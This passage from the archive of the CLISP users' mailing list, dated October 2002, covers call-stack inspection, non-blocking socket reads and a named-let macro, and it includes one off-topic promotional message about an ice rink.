(cerbere-qe0 [193.55.64.1]) by ftp.ilog.fr (8.11.6/8.11.6) with ESMTP id g930ttK23226; Thu, 3 Oct 2002 02:55:55 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.138]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id g930trH07242; Thu, 3 Oct 2002 02:55:54 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id CAA12568; Thu, 3 Oct 2002 02:56:26 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15771.38321.78641.357220@honolulu.ilog.fr> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to get the call stack? In-Reply-To: References: <200210021739.g92HdlwW004306@van-halen.alma.com> <15771.35410.767517.918473@honolulu.ilog.fr> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 18:01:54 2002 X-Original-Date: Thu, 3 Oct 2002 02:56:17 +0200 (CEST) Sam writes: > What about SP - does it already contain the information necessary to > split STACK into funcall sections or not? No it doesn't. Functions which don't use UNWIND-PROTECT, CATCH and similar special forms don't have SP entries of their own at runtime. Bruno From dave@synergy.org Wed Oct 02 19:25:45 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wvgP-00061n-00 for ; Wed, 02 Oct 2002 19:25:45 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Wed, 2 Oct 2002 19:25:43 -0700 From: "Dave Richards" To: "Hoehle, Joerg-Cyril" , Subject: RE: [clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SEQUENCE Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-OriginalArrivalTime: 03 Oct 2002 02:25:43.0738 (UTC) FILETIME=[2CAA49A0:01C26A84] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 2 19:26:10 2002 X-Original-Date: Wed, 2 Oct 2002 19:25:43 -0700 > >> I don't understand why you need C for this. > >It's quite simple. [...] I already have a reasonably > >high-performance, > >single-threaded, multi-user implementation. [...] > >I have my code running in CMUCL now. > >I've already implemented a CLISP FFI > >library which gives me accesses to all the interfaces I need. > > I see - you already have a large code base and want to integrate > with that. Not really. I have abstracted the low-level access routines to a class called network-descriptor (ndesc). This class handles all socket I/O, so I am not struggling with a legacy issue here. I am trying to gain the same level of efficiency/performance I had in C and can get in CMUCL. > Then I suggest the following: write a little C extension that > does the following (what READ-/WRITE-SOME-SEQUENCE would do for > socket streams): That may be the solution. Because the FFI already provided 99% of what I needed, I'd hoped that being able to create a c-pointer from an (unsigned byte 8) array would finish it off and I'd be done. The FFI does everything else I need. Dave From don-sourceforge@isis.cs3-inc.com Thu Oct 03 13:36:20 2002 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17xCho-0006dT-00 for ; Thu, 03 Oct 2002 13:36:20 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id g93KZ4108093 for clisp-list@lists.sourceforge.net; Thu, 3 Oct 2002 13:35:04 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15772.43512.632841.829051@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Subject: [clisp-list] READ-CHAR/BYTE-SEQUENCE-NONBLOCKING Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 3 13:37:02 2002 X-Original-Date: Thu, 3 Oct 2002 13:35:04 -0700 > > If you rename them to READ-CHAR-SEQUENCE-NONBLOCKING and > > READ-BYTE-SEQUENCE-NONBLOCKING it's easier to understand what they do. > > But they are _not_ non-blocking! > they call read/write just once, and if that blocks, they do too. This is exactly what I DON'T want! For what I DO want the name NONBLOCKING seems very appropriate. I want a function that will never block, and will read/write as many chars/bytes as it can immediately, up to a specified limit. For best performance I suggest that we pass it an array, a start index and an end index (or maximum number of chars/bytes to read/write), and that it put/get the chars/bytes to/from that array, returning the number that were actually read/written. That number could even be zero. I would hope, however, that there would be a small limit on the number of times that select can tell you that a stream is ready to read/write after which the corresponding nonblocking operation returns zero. (I don't want to waste all day with select saying ready and read/write doing nothing.) The one case where I do want select to say ready and the operation to return zero is when eof arrives (and I've already read everything up to the eof), but in that case the operation should "read" the eof, so select no longer reports that there's something waiting to be read. From unknown@unknown.com Thu Oct 03 21:19:59 2002 Received: from panoramix.vasoftware.com ([198.186.202.147]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17xJwT-0000GS-00 for ; Thu, 03 Oct 2002 21:19:58 -0700 Received: from ip-pa-jtown-24-159-008-012.charterpa.com ([24.159.8.12]:2339 helo=unknown.com) by panoramix.vasoftware.com with smtp (Exim 4.05-VA-mm1 #1 (Debian)) id 17xJw9-0001o2-00 for ; Thu, 03 Oct 2002 21:19:37 -0700 From: "Arena-Watch" To: Mime-Version: 1.0 Reply-To: "Arena-Watch" Message-Id: Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=2.6 required=7.0 tests=X_NOT_PRESENT,FROM_NAME_NO_SPACES,CASINO version=2.21 X-Spam-Level: ** Subject: [clisp-list] New High Performance Rink System Installed In Washington State Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 3 21:20:04 2002 X-Original-Date: Fri, 4 Oct 2002 00:31:29 -0400 New Lynnwood Ice Rink Reopens In September With New High Performance Rink System LYNNWOOD -- A new ice arena will open in Lynnwood Sept. 15, about four months after the SnoKing Ice Arena closed. Washington Ice Skating Association, which owns both the former SnoKing rink and the Olympicview private ice rink in Mountlake Terrace, is remodeling and reopening the rink as the Lynnwood Ice Center. The new ice center will be in the renovated SnoKing building at 19803 68th Ave. W. After 20-plus years of being open to the public, the SnoKing Ice Arena closed suddenly at the end of March. Former SnoKing manager Doug Stewart said they left because "we leased the land and building, and it wasn't economically feasible to continue it that way." Stewart said SnoKing owner Lexi Doner tried to get the association to lower the rent and remodel it, but it didn't happen. Doner decided to close SnoKing. Doner, now owner of the Kent Valley Ice Centre, wasn't available for comment. In the meantime, plans were made by association board members to renovate the old rink and make it "safer and more enjoyable place for families and youth to come to," Lynnwood Ice Center general manager Kevin Urbanski said. Upgrades to the facility ice rink system includes a new high performance TurboChiller refrigeration system complete with an advanced microprocessor control system, new sand base rink floor system, professional steel framed dasher board system, and dehumidification system. The ice rink system was provided by Burley’s Rink Supply of Johnstown, PA. - www.burleys.com. “It was great to have this opportunity to work with WISA once again after installing their Mt. Lake Terrace Complex some years ago. They will be very happy with advancements made with our TurboChiller system and the exceptional energy performance it provides over other ice making systems. This owner also wanted to changed from a dangerous ammonia system to a much safer environmentally stable halocarbon refrigerant.” said John Burley. “Many complexes installing ammonia systems today are not being installed in accordance with United States codes”. Many Canadian companies are promoting ammonia systems without knowing, or properly advising owners, of all true code compliance issues required to have a safe system. This is very troublesome since ammonia is highly toxic and flammable and is very dangerous if not installed in compliance with the code. There have been more than one ice rink mechanical room destroyed by ammonia explosions.” WISA hired Seattle based construction specialist Ken Clark of Development Services to provide coordination and project manage services. Mr. Clark has become someone of an expert in arena construction activities having spearheaded almost a half a dozen projects in recent years and consulted on many more. Ryan General Construction provided all construction services. Ryan also helped round out the circle of experienced contractors since Ryan has been involved with previous ice rink projects such as the Castle Ice complex finished last year in Renton, Washington. John Burley said “ it is great working with the combination of talent we had on this project. Both Ken and Peter know these types of projects well and make the most adverse construction obstacle easy to overcome. And, since renovations take some extra effort and experience, it was great to have them on this project.” Mr. Ken Clark of Development Services can be contacted at 206-236-2756. Mr. Peter Meyer of Ryan Construction can be reached at 425-488-4489. Mr. John Burley of Burley’s Rink Supply can be reached at 1-800-428-7539. The new center is a non-profit organization, said Ric Newgard, executive director of Seattle Junior Hockey and secretary/treasurer for the association. The association is made up of the Seattle Skating Association and Seattle Junior Hockey. Both are non-profit groups that make their money through bingo halls in Edmonds and Mountlake Terrace, and pull tab games offered in connection with the Silver Dollar Casino on 220th Street SW in Mountlake Terrace. The new ice center has a new ice surface, lobby, pro shop with new skates and a snack bar. The renovation has added a birthday room, an arcade, a DJ music booth for weekend youth events and special lighting. The parking lot is more open, bright and safe, Urbanski added. From dave@synergy.org Thu Oct 03 21:25:30 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17xK1q-0000lQ-00 for ; Thu, 03 Oct 2002 21:25:30 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Thu, 3 Oct 2002 21:25:29 -0700 From: "Dave Richards" To: "clisp-list" Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-OriginalArrivalTime: 04 Oct 2002 04:25:29.0250 (UTC) FILETIME=[11FA2820:01C26B5E] Subject: [clisp-list] Named let? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 3 21:26:02 2002 X-Original-Date: Thu, 3 Oct 2002 21:25:27 -0700 Scheme has a construct called a named let, which in addition to a normal let/let* construct arranges for a label to be created around the construct such that it can be invoked inside the construct. This was a very elegant and tight construct for recursive loops, e.g.: (let loop ((v-1 init-1) (v-2 init-2)) ... (loop (cdr v-1) (cdr v-2))) This can easily be converted to: (labels ((loop (v-1 v-2) ... (loop (cdr v-1) (cdr v-2)))) (loop v-1 v-2)) I know, but does ANSI LISP provide such a macro/construct? It's one of those "I'd use it if it existed" things. I don't see such a cnstruct, but I thought I'd ask in case it's buried inside the spec somewhere. Thanks! Dave From Joerg-Cyril.Hoehle@t-systems.com Fri Oct 04 01:19:56 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17xNgg-0006XP-00 for ; Fri, 04 Oct 2002 01:19:54 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 4 Oct 2002 10:19:44 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <4D55L0TD>; Fri, 4 Oct 2002 10:19:44 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Named let? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 4 01:20:08 2002 X-Original-Date: Fri, 4 Oct 2002 10:19:41 +0200 Hi, >Scheme has a construct called a named let, > This was a very elegant >and tight construct for recursive loops, e.g.: Strange. While in CL, I never ever missed Scheme's named let, while in = Scheme the programmer often has to resort to it (need recursion for = iteration). You may wish to look at the ITERATE macro (probably need to peek at = Cliki), which I once thought would be worthwhile to use. It looks very = similar to the named let. However iterate is a little dangerous in maintenance, because when you = modify your code and the iterate call is not in a tail position = anymore, strange things may happen. Tim Bradshaw once explained in cll = in similarly why he had stopped using ITERATE. I just feel that CL has enough looping constructs that named-let for = iteration is not needed (by me). A named let for recursive tree descent = may be interesting though, but that's not iteration any more, which is = what you asked for. Obviously it depends on one's daily programming style. Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Fri Oct 04 01:52:07 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17xOBp-000778-00 for ; Fri, 04 Oct 2002 01:52:05 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Fri, 4 Oct 2002 10:51:57 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <4D55MA08>; Fri, 4 Oct 2002 10:51:56 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: haible@ilog.fr Subject: AW: [clisp-list] Re: READ-SEQUENCE-ONCE MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 4 01:53:02 2002 X-Original-Date: Fri, 4 Oct 2002 10:51:56 +0200 Bruno Haible wrote: >This is not a well-defined description of some semantics, because a >single read() on a BSD system is not the same thing as a single read() >on a SysV system. That's why I talked about the pragmatics of the function, not the semantics :-) BTW, I still prefer the name read-partial or read-some over read-once, because it describes *what* it does, instead of *how* it does it. >On SysV, read() can return with a "short read" >[...] Whereas on BSD systems, >your READ-BYTE-SEQUENCE-ONCE function will behave just like >READ-BYTE-SEQUENCE. Did I understand you correctly: on BSD (e.g. old SunOS, not Solaris), read() would always fill up the full array and therefore delay (when in blocking mode)? Then obviously, my suggestion and my scenario for threaded servers in blocking mode wouldn't apply. Dave Richards wrote: >The reason it was unsafe to trust this was because there >were implementation of select() (Linux used to be one of them) that would >falsely select() true when read() would block. So that's another (or the same?) source of problems. Both of you seem to state that without non-blocking sockets, one cannot have, on all systems (where CLISP runs on), a read() (or at least a socket recv()) that's guaranteed not to block, even when preceeded by select(). Don wrote: > > they call read/write just once, and if that blocks, they do too. >This is exactly what I DON'T want! >For what I DO want the name NONBLOCKING seems very appropriate. THe assumption (of apparently Sam and) I was that, if *prefixed by select(), it would not block. That would have been very nice to use IMHO, but Dave says there are (or were) systems where this doesn't (or didn't) work. Don wrote: >(I don't want to waste all day with select saying ready and read/write >doing nothing.) That's why my idea was to use blocking mode, so that at least one call to read/write be executed, resulting in something read/written. I wished for strict monotonic behaviour, instead of possible polling. Me too, I wanted no polling. I wanted strict monotonic behaviour in mathematic terms. I thought this could be achieved still using a combination of blocking sockets and select(). It seems, through Bruno's and Dave's comments, that this is not achievable on all platforms. Regards, Jorg Hohle. From lisp-clisp-list@m.gmane.org Fri Oct 04 06:32:55 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17xSZX-0004VM-00 for ; Fri, 04 Oct 2002 06:32:52 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17xSZ4-0001OD-00 for ; Fri, 04 Oct 2002 15:32:22 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17xSZ3-0001O4-00 for ; Fri, 04 Oct 2002 15:32:21 +0200 Path: not-for-mail From: Sam Steingold Organization: disorganization Lines: 31 Message-ID: References: <15771.35198.890395.898283@honolulu.ilog.fr> Reply-To: sds@gnu.org NNTP-Posting-Host: 65.114.186.226 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Trace: main.gmane.org 1033738341 1424 65.114.186.226 (4 Oct 2002 13:32:21 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Fri, 4 Oct 2002 13:32:21 +0000 (UTC) X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: READ-SEQUENCE-NO-HANG Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 4 06:33:02 2002 X-Original-Date: 04 Oct 2002 09:32:47 -0400 We already have READ-CHAR-NO-HANG and READ-BYTE-NO-HANG, so, I think, READ-SEQUENCE-NO-HANG is the right name, if we really need it. > * In message <15771.35198.890395.898283@honolulu.ilog.fr> > * On the subject of "Re: FFI - Creating c-places in LISP? -> READ-SOME-SEQUENCE" > * Sent on Thu, 3 Oct 2002 02:04:14 +0200 (CEST) > * Honorable Bruno Haible writes: > > select() does not tell you how many bytes of input you can read, or > how many bytes you can write, without blocking. Thus if you want to > avoid blocking, you have to read() or write() the bytes one by one, > which damages performance if there is not a computation intensive > counterpart on the Lisp side. > > Therefore most Unices offer the ability to put a socket or file > descriptor into non-blocking mode. So why not add FIONBIO to SOCKET-OPTIONS and let the users call that before READ-SEQUENCE? (Arseny said that FIONBIO will break some things - which ones?) Alternatively, READ-SEQUENCE-NO-HANG may just put the socket into non-blocking mode before the actual input call and then put it back into the blocking mode. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Our business is run on trust. We trust you will pay in advance. From hin@van-halen.alma.com Fri Oct 04 07:06:27 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17xT62-0001Cu-00 for ; Fri, 04 Oct 2002 07:06:26 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g94E6MIS019596; Fri, 4 Oct 2002 10:06:22 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g94E6MOh019593; Fri, 4 Oct 2002 10:06:22 -0400 Message-Id: <200210041406.g94E6MOh019593@van-halen.alma.com> From: "John K. Hinsdale" To: sds@gnu.org CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 02 Oct 2002 20:29:58 -0400) Subject: Re: [clisp-list] How to get the call stack? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 4 07:07:03 2002 X-Original-Date: Fri, 4 Oct 2002 10:06:22 -0400 >> I'm writing a Web CGI app in CLISP and at certain points where an >> error is signaled I would like to display the eval/call stack on the > please look at reploop.lisp - you need to bind some variable &c... OK, figured it out; thanks. FYI I ended up w/ the code at the bottom. It will scan the stack at the point the error was raised and list all the APPLY frames, plus the outermost EVAL frame (which should be the one that rased the error). It seems to work for me, and gives me mostly what I want - to be able to see immediately on my Web error page and log file roughly where things were. Seeing the function names I can quickly enough get to the places in the source files. One problem I'm still having: in order for me to to use the thingy below, I have to call it *myself* at the point of error, e.g., (when bad-situation (error "Ooops: ~A" (get-stack-as-string))) That's fine, however, what if underlying Lisp is throwing the error? I would still like to take snapshot of the stack, _before_ it's unwound, and include as part of my message. So I need to somehow override (or at least have some hook into) the built-in Lisp error thrower, if that makes any sense. How do I do that? That aside, having this is 100 times better than what I had before (no stack). > this is one of the places that __really__ need work. any volunteers? Compiled-in debug info (source file, position-in-file) would be great, as it would lead one right to the line of source, and also do the "right thing" for macro expansions - take you back to the macro definition, not just show the expansion. This compiled-in info should probably be designed anticipating its role in all the future things that might use it: source-level debugger, profiler, and test-coverage tool. I'll volunteer after I'm done learning Lisp :) OK, here's that code: ; GET-STACK-AS-STRING - Get the call stack as a string (defun get-stack-as-string (&optional (nskip 0)) "Get the call stack as a string, useful for inclusion in error messages in batch or Web programs. Optional arg skips over N initial frames that may be on the stack as part of calling this routine, so as to get to the frame that \"really\" caused the error." ; Skip to first relevant EVAL frame (do* ((result (make-string-output-stream)) (mode 4) (frame (system::the-frame) (system::frame-up-1 frame mode)) (last (system::frame-up frame 5)) (count 0 (1+ count)) (at-last nil)) (at-last (get-output-stream-string result)) (cond ((< count nskip) ) ((= count nskip) (system::describe-frame result frame) (setf mode 5)) ((equal frame last) (setf at-last t)) (t (system::describe-frame result frame))))) --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From Joerg-Cyril.Hoehle@t-systems.com Fri Oct 04 08:23:33 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17xUId-0006zG-00 for ; Fri, 04 Oct 2002 08:23:32 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 4 Oct 2002 17:23:21 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <4D55MPVX>; Fri, 4 Oct 2002 17:23:21 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] How to get the call stack? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 4 08:24:05 2002 X-Original-Date: Fri, 4 Oct 2002 17:23:20 +0200 John K. Hinsdale wrote: >I would still like to take snapshot of the stack, _before_ it's >unwound, and include as part of my message. So I need to somehow >override (or at least have some hook into) the built-in Lisp error >thrower, if that makes any sense. How do I do that? That's the difference between HANDLER-BIND and HANDLER-CASE. Regards, Jorg Hohle. From marcoxa@octagon.mrl.nyu.edu Fri Oct 04 09:04:45 2002 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17xUwW-0001Q5-00 for ; Fri, 04 Oct 2002 09:04:44 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.11.6/8.9.3) id g94G6aV05218; Fri, 4 Oct 2002 12:06:36 -0400 Message-Id: <200210041606.g94G6aV05218@octagon.mrl.nyu.edu> From: Marco Antoniotti To: dave@synergy.org CC: clisp-list@lists.sourceforge.net In-reply-to: Subject: Re: [clisp-list] Named let? References: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 4 09:05:11 2002 X-Original-Date: Fri, 4 Oct 2002 12:06:36 -0400 > From: "Dave Richards" > X-Priority: 3 (Normal) > X-MSMail-Priority: Normal > Importance: Normal > X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 > X-OriginalArrivalTime: 04 Oct 2002 04:25:29.0250 (UTC) FILETIME=[11FA2820:01C26B5E] > Sender: clisp-list-admin@lists.sourceforge.net > X-Original-Date: Thu, 3 Oct 2002 21:25:27 -0700 > Date: Thu, 3 Oct 2002 21:25:27 -0700 > X-UIDL: NJo"!!g5!!RP/!!JL<"! > > Scheme has a construct called a named let, which in addition to a normal > let/let* construct arranges for a label to be created around the construct > such that it can be invoked inside the construct. This was a very elegant > and tight construct for recursive loops, e.g.: > > (let loop ((v-1 init-1) > (v-2 init-2)) > ... > (loop (cdr v-1) (cdr v-2))) > > This can easily be converted to: > > (labels > ((loop (v-1 v-2) > ... > (loop (cdr v-1) (cdr v-2)))) > (loop v-1 v-2)) > > I know, but does ANSI LISP provide such a macro/construct? It's one of > those "I'd use it if it existed" things. I don't see such a cnstruct, but I > thought I'd ask in case it's buried inside the spec somewhere. ANSI CL does not provide it. However, it is just one macro away. (defmacro named-let (name bindings &body forms) `(labels ((,name ,(mapcar #'first bindings) ,@forms)) (,name ,@(mapcar #'second bindings)))) Your example will become (named-let looping ((x 1)) (when (> x 10) (return-from loop 1234)) (print x) (looping (1+ x))) Note that it is not a good thing to name the NAMED-LET "LOOP" in CL (hence the LOOPING), as you may have some "real" call to the CL LOOP macro in the body. This should come to no surprise to the schemer accustomed at single namespace, no packages environments. Just to be paranoid (defmacro named-let (name bindings &body forms) (when (string-equal name "LOOP") (warn "NAMED-LET called with name \"LOOP\":~@ this may conflict with the ANSI LOOP macro.")) `(labels ((,name ,(mapcar #'first bindings) ,@forms)) (,name ,@(mapcar #'second bindings)))) Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From ampy@ich.dvo.ru Fri Oct 04 15:27:15 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17xaud-0003sr-00 for ; Fri, 04 Oct 2002 15:27:12 -0700 Received: from ppp66-3640.vtc.ru (ppp66-3640.vtc.ru [212.16.216.66]) by vtc.ru (8.12.5/8.12.5) with ESMTP id g94MQTUG009311; Sat, 5 Oct 2002 09:26:30 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <923285404.20021005092646@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: READ-SEQUENCE-NO-HANG In-reply-To: References: <15771.35198.890395.898283@honolulu.ilog.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 4 15:28:03 2002 X-Original-Date: Sat, 5 Oct 2002 09:26:46 +1000 Hello Sam, Friday, October 04, 2002, 11:32:47 PM, you wrote: > We already have READ-CHAR-NO-HANG and READ-BYTE-NO-HANG, so, I think, > READ-SEQUENCE-NO-HANG is the right name, if we really need it. >> select() does not tell you how many bytes of input you can read, or >> how many bytes you can write, without blocking. Thus if you want to >> avoid blocking, you have to read() or write() the bytes one by one, >> which damages performance if there is not a computation intensive >> counterpart on the Lisp side. >> >> Therefore most Unices offer the ability to put a socket or file >> descriptor into non-blocking mode. > So why not add FIONBIO to SOCKET-OPTIONS and let the users call that > before READ-SEQUENCE? > (Arseny said that FIONBIO will break some things - which ones?) At least you should then check for 